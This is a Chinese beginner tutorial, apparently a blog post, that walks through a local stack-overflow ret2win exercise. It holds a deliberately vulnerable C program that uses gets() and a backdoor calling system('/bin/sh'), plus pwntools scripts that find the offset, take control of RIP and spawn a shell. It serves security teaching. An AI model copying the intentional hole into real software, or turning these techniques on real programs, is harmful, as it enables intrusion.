小白入门PWN:栈溢出实战(从0到拿到shell,全程可复现)
前言
本文针对 PWN 小白,基于 Ubuntu 24.04 LTS 系统,全程使用目录下的 6 个文件(calc.py、exp1.py、exp2.py、exp_shell.py、vuln、vuln.c),一步一步复现栈溢出攻击全过程,最终成功拿到系统 shell 权限。
核心目标:理解栈溢出原理、掌握偏移计算、学会控制程序执行流、实现 ret2win 拿 shell,全程实操无废话,小白跟着敲就能成功!
环境说明:Ubuntu 24.04 LTS(64位)、pwndbg、pwntools、gcc(已提前安装,安装教程见文末)
目录文件清单(提前准备好,文末附所有文件完整代码):
calc.py # 计算栈溢出偏移 exp1.py # 生成cyclic字符串,使程序崩溃 exp2.py # 验证RIP控制(覆盖为0xdeadbeef) exp_shell.py # 最终攻击脚本,拿到shell vuln.c # 漏洞程序(含后门函数win) vuln # 漏洞程序编译产物一、实验前置准备(小白必看)
确保以下工具已安装(若未安装,执行对应命令):
# 安装系统依赖 sudo apt update sudo apt install -y python3-pip git gdb gcc-multilib g++-multilib checksec # 安装pwntools(全局可用) sudo pip3 install pwntools --break-system-packages # 安装pwndbg(GDB增强工具,自动加载) cd ~ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh验证工具是否可用(输入以下命令,无报错即正常):
checksec --help pwn version gdb -q -ex "quit"二、实验全流程(一步一步复现,小白直接抄)
步骤1:创建实验目录,准备所有文件
1. 新建目录并进入(规范管理,避免文件混乱):
mkdir -p ~/pwn-study/week3/day1 cd ~/pwn-study/week3/day12. 依次创建 6 个文件(复制对应代码,保存即可),最终目录结构如下:
~/pwn-study/week3/day1/ ├── calc.py ├── exp1.py ├── exp2.py ├── exp_shell.py ├── vuln.c └── vuln步骤2:编写漏洞程序(vuln.c)并编译
1. 创建 vuln.c 文件(含栈溢出漏洞和后门函数 win):
#include <stdio.h> #include <string.h> void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts("Input:"); gets(buffer); // 高危函数,无边界检查(栈溢出漏洞点) printf("You said: %s\n", buffer); } int main() { vulnerable(); return 0; } void win() { system("/bin/sh"); // 后门函数,执行后拿到shell }2. 编译漏洞程序(关闭所有保护,小白直接复制命令,不要改参数):
gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c编译后会出现 3 个警告(正常现象,不影响实验):
vuln.c: In function ‘vulnerable’: vuln.c:7:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 7 | gets(buffer); // 危险函数,无边界检查 | ^~~~ | fgets vuln.c: In function ‘win’: vuln.c:17:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 17 | system("/bin/sh"); | ^~~~~~ /usr/bin/ld: /tmp/cckjjjNV.o: in function `vulnerable': /home/virtual-machine/pwn-study/week3/day1/vuln.c:7:(.text+0x28): warning: the `gets' function is dangerous and should not be used.此时目录下会生成编译产物vuln(可执行程序)。
步骤3:生成cyclic字符串,使程序崩溃(exp1.py)
1. 创建 exp1.py 文件(生成200个不重复字符串,用于触发栈溢出并标记崩溃地址):
from pwn import * # 生成200个不重复的cyclic字符串(用于定位溢出偏移) pattern = cyclic(200) # 启动漏洞程序,并发送cyclic字符串 p = process('./vuln') p.sendline(pattern) p.interactive()2. 运行脚本,触发程序崩溃:
python3 exp1.py运行后输出如下(核心是出现 SIGSEGV 段错误,说明栈溢出成功):
[+] Starting local process './vuln': pid 7269 [*] Switching to interactive mode Input: You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [*] Got EOF while reading in interactive $ ls [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7269) [*] Got EOF while sending in interactive步骤4:使用GDB查看崩溃地址,计算偏移(calc.py)
1. 用 GDB 运行漏洞程序,查看崩溃时的返回地址:
gdb ./vuln2. 进入 GDB 后,输入run,然后粘贴 exp1.py 输出的那串长字符串(cyclic字符串),程序会崩溃:
pwndbg> run Starting program: /home/virtual-machine/pwn-study/week3/day1/vuln Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Program received signal SIGSEGV, Segmentation fault.3. 查看崩溃时的返回地址(关键!),找到如下一行:
► 0x4011df <vulnerable+73> ret <0x6161617461616173>这里的0x6161617461616173就是崩溃时被覆盖的返回地址(每个人的可能略有差异,以自己的为准)。
4. 退出 GDB(输入q),创建 calc.py 文件,计算栈溢出偏移:
from pwn import * # 填入自己GDB中看到的崩溃地址(0x开头) print(cyclic_find(0x6161617461616173))5. 运行 calc.py,得到偏移值(本文中是 72,小白的也会是 72,因为 buffer 是 64 字节 + 8 字节 saved RBP):
python3 calc.py [!] cyclic_find() expected an integer argument <= 0xffffffff, you gave 0x6161617461616173 Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n=8) to override this. 72提示:出现上面的警告不用管,最终输出的 72 就是我们需要的偏移值。
步骤5:验证RIP控制(exp2.py)
1. 创建 exp2.py 文件(用 72 个 A 填充,覆盖 RIP 为 0xdeadbeef,验证是否能控制程序执行流):
from pwn import * offset = 72 # 步骤4计算出的偏移值 payload = b'A' * offset # 72个A,填充到RIP前 payload += p64(0xdeadbeef) # 覆盖RIP为0xdeadbeef # 启动程序,发送payload p = process('./vuln') p.sendline(payload) p.interactive()2. 运行脚本,验证控制效果:
python3 exp2.py运行后会出现 SIGSEGV 段错误,说明我们已经成功控制 RIP(程序跳转到了我们指定的 0xdeadbeef 地址):
[+] Starting local process './vuln': pid 7309 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ\xde [*] Got EOF while reading in interactive $ ls [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7309) [*] Got EOF while sending in interactive步骤6:最终攻击,拿到shell(exp_shell.py)
1. 先查看后门函数 win() 的地址(关键!每个人的地址可能不同,必须自己查):
objdump -d vuln | grep win输出如下(本文中 win 函数地址是 0x4011f9,小白以自己的输出为准):
00000000004011f9 <win>:2. 创建 exp_shell.py 文件(最终攻击脚本,跳转至 win 函数,拿到 shell):
from pwn import * # 填入自己的偏移值和win函数地址 offset = 72 win_addr = 0x4011f9 # 替换成自己objdump查到的地址 # 64位程序必须加ret跳板(解决栈对齐问题,否则会崩溃) ret_gadget = 0x40101a # 通用ret跳板地址,无需修改 # 构造最终payload payload = b'A' * offset payload += p64(ret_gadget) # 栈对齐跳板 payload += p64(win_addr) # 跳转至win函数,拿到shell # 启动程序,发送payload,进入shell p = process('./vuln') p.sendline(payload) p.interactive()3. 运行脚本,直接拿到 shell!
python3 exp_shell.py成功标志:出现$提示符,输入ls、whoami等命令可正常执行:
[+] Starting local process './vuln': pid 7362 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ $ ls calc.py exp1.py exp2.py exp_shell.py vuln vuln.c $ id uid=1001(virtual-machine) gid=1001(virtual-machine) groups=1001(virtual-machine),27(sudo),100(users) $ whoami virtual-machine $至此,栈溢出攻击全程复现成功!小白也能轻松拿到 shell!
三、避坑指南(小白必看,避免踩坑)
坑1:编译命令错误 → 必须使用
gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c,少一个参数都会导致实验失败(比如没关 Canary、没关 PIE)。坑2:cyclic_find 报错 → 直接用终端运行 calc.py,不要在 GDB 里输入 cyclic_find(GDB 里没有这个命令)。
坑3:运行 exp_shell.py 崩溃 → 必须加 ret 跳板(64位程序栈对齐要求),ret_gadget 用 0x40101a 即可(通用)。
坑4:win 函数地址填错 → 必须用
objdump -d vuln | grep win自己查,不要直接抄本文的地址(每个人的可能不同)。
四、所有文件完整代码(小白直接复制,无需修改)
1. vuln.c(漏洞程序):
#include <stdio.h> #include <string.h> void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts("Input:"); gets(buffer); // 高危函数,无边界检查(栈溢出漏洞点) printf("You said: %s\n", buffer); } int main() { vulnerable(); return 0; } void win() { system("/bin/sh"); // 后门函数,执行后拿到shell }2. exp1.py(生成cyclic字符串):
from pwn import * pattern = cyclic(200) p = process('./vuln') p.sendline(pattern) p.interactive()3. calc.py(计算偏移):
from pwn import * print(cyclic_find(0x6161617461616173)) # 替换成自己GDB查到的崩溃地址4. exp2.py(验证RIP控制):
from pwn import * offset = 72 payload = b'A' * offset payload += p64(0xdeadbeef) p = process('./vuln') p.sendline(payload) p.interactive()5. exp_shell.py(最终拿shell):
from pwn import * offset = 72 win_addr = 0x4011f9 # 替换成自己objdump查到的win地址 ret_gadget = 0x40101a payload = b'A' * offset payload += p64(ret_gadget) payload += p64(win_addr) p = process('./vuln') p.sendline(payload) p.interactive()五、实验总结
本文通过 6 个文件,完整复现了栈溢出攻击的核心流程:
1. 编写漏洞程序(利用 gets 函数的无边界检查);
2. 生成 cyclic 字符串,触发栈溢出并标记崩溃地址;
3. 计算栈溢出偏移,确定覆盖 RIP 所需的字节数;
4. 验证 RIP 控制,确保能让程序跳转到指定地址;
5. 跳转至后门函数,最终拿到系统 shell。
对于小白来说,这是最基础、最易复现的 PWN 入门实验,掌握这个流程后,后续可以进阶学习 shellcode 注入、ret2libc、绕过各种安全保护等更高级的内容。
如果觉得本文对你有帮助,欢迎点赞、收藏、关注,后续会持续更新 PWN 入门实战教程!
